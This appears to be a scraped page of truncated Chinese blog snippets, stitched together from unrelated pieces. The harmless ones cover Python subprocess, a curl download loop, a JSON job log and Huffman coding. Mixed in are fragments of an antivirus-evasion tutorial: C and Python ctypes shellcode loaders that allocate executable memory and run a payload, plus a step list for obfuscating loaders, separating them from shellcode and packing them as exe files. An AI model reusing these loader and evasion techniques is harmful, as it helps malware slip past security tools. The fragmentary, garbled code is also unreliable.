ifresult.returncode==0:# Command executed successfully# Continue with other operationspasselse:# Command failed to execute# Handle the errorpass 1. 2. 3. 4. 5. 6. 7. 8. 在这个示例中,我们使用pass占位符表示要执行的其他操作或错误处理。 6. 完成 恭喜!你已经学会了如何在Python中执行命令并获取...
sleep 1 res=`curl -s -A "${userAgent}" -w %{http_code} "$base$name" -o $folder/$name` if [ "$res" = "200" ] then echo "SUCCESS: 【$name】 下载成功" else # echo $infos echo "ERROR: 【$name】 下载失败--$res" sleep 0.5 fi done 1. 2. 3. 4. 5. 6. 7. 8. 9....
subprocess.call(args, *, stdin=None, stdout=None, stderr=None, shell=False, timeout=None) 运行args描述的命令,等待命令完成后返回returncode属性。 timeout参数会传递Popen.wait()。如果超过timeout,子进程将会被kill掉,并再次等待。子进程被终止后会抛出TimeoutExpired异常。 Eg: >>>returncode = subproce...
p = VirtualAlloc(NULL,sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);// 把shellcode放入内存memcpy(p, shellcode,sizeof(shellcode)); CODE code =(CODE)p; code(); 我并没有写出一个可用的c加载shellcode,只是旨在点出一下流程,然后引出后面的python加载shellcode,上面我们先申...
python中写shell,亲测可用,转自stackoverflow To run a bash script, copy from stackoverflow def run_script(script, stdin=None): """Returns (stdout, stderr), raises error on non-zero return code""" import subprocess # Note: by using a list here (['bash', ...]) you avoid quoting issu...
(FD,termios.TCSADRAIN,OLD_SETTINGS)returnchgetch=_GetchUnix()CONN_ONLINE=1defstdprint(message):stdout.write(message)stdout.flush()defclose_socket(talk,exit_code=0):importosglobalFD,OLD_SETTINGS,CONN_ONLINECONN_ONLINE=0talk.close()try:termios.tcsetattr(FD,termios.TCSADRAIN,OLD_SETTINGS)except...
1、shellcode加载器实现; 2、代码混淆; 3、寻找免杀api 4、分离免杀,分离加载器与shellcode; 5、python打包成exe 6、组合,免杀效果分析 0x01 shellcode加载器实现 第一个shellcode加载器 大部分脚本语言加载Shellcode都是通过c的ffi去调用操作系统的api,如果我们了解了C是怎么加载Shellcode的原理,使用时只需要查询...
{ "jobId":"a567f7f5-3c9e-4dfc-a464-bd477ac5b1ea", "status":"failed", "errorCode":3427, "errorMessage":"Shell script job execute failed.", "failCount":0, "result":[ { "is_success":false, "exeTime":300.609 } ] } [2021/11/17 02:05:56 GMT+0800] [DEBUG] === [2021/1...
return priority_queue[0] def build_huffman_codes(root): codes = {} def traverse(node, code): if node.char: codes[node.char] = code else: traverse(node.left, code + '0') traverse(node.right, code + '1') traverse(root, '') ...
=libc.mprotect(addr,len(buffer),PROT_READ|PROT_WRITE|PROT_EXEC):raiseException("Failed to set protection on buffer")returnaddrVirtualAlloc=ctypes.windll.kernel32.VirtualAllocVirtualProtect=ctypes.windll.kernel32.VirtualProtectshellcode=bytearray(buf)whnd=ctypes.windll.kernel32.GetConsoleWindow()ifwhnd!=0...